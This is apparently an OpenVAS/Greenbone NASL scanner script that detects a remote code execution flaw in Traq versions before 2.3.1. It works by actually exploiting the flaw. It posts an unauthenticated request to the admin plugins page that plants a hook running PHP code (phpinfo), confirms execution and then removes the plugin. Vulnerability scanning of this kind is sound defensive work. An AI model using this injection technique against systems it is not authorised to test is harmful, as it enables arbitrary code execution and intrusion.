Traq 'authenticate()' Function RCE Vulnerability

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103359");
  script_version("2025-01-17T15:39:18+0000");
  script_name("Traq 'authenticate()' Function RCE Vulnerability");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/50961");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"2025-01-17 15:39:18 +0000 (Fri, 17 Jan 2025)");
  script_tag(name:"creation_date", value:"2011-12-08 08:05:08 +0100 (Thu, 08 Dec 2011)");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"solution", value:"Vendor updates are available. Please see the references for details.");

  script_tag(name:"summary", value:"Traq is prone to a remote code execution (RCE) vulnerability.");

  script_tag(name:"impact", value:"An attacker can exploit this issue to execute arbitrary code with
   admin privileges. Failed exploit attempts will result in a denial-of-service condition.");

  script_tag(name:"affected", value:"Traq versions prior to 2.3.1 are vulnerable.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_app");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("host_details.inc");

port = http_get_port(default:80);
if(!http_can_host_php(port:port))exit(0);

foreach dir( make_list_unique( "/traq", "/phptraq", "/bugtracker", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" ) dir = "";
  url = dir + "/index.php";
  buf = http_get_cache( item:url, port:port );

  if(!buf || "Powered by Traq" >!< buf)continue;

  host = http_host_name( port:port );
  filename = string(dir,"/admincp/plugins.php?newhook");
  ex = "plugin_id=12323&title=1&execorder=0&hook=template_footer&code=phpinfo();die;";

  req = string("POST ", filename, " HTTP/1.1\r\n",
              "Host: ", host, "\r\n",
               "Content-Type: application/x-www-form-urlencoded\r\n",
               "Content-Length: ", strlen(ex),"\r\n",
               "Connection: close\r\n",
               "\r\n",
               ex);
  http_keepalive_send_recv(port:port, data:req);

  req = string("GET ",dir,"/index.php HTTP/1.0\r\n",
               "Host: ", host, "\r\n",
               "Cmd: phpinfo();\r\n\r\n");
  result = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);

  if("<title>phpinfo()" >< result) {

    # on success remove the plugin
    url = string(dir, "/admincp/plugins.php?remove&plugin=12323");
    req = http_get(item:url, port:port);
    http_keepalive_send_recv(port:port, data:req);

    report = http_report_vuln_url(port:port, url:filename);
    security_message(port:port, data:report);
    exit(0);
  }
}

exit(99);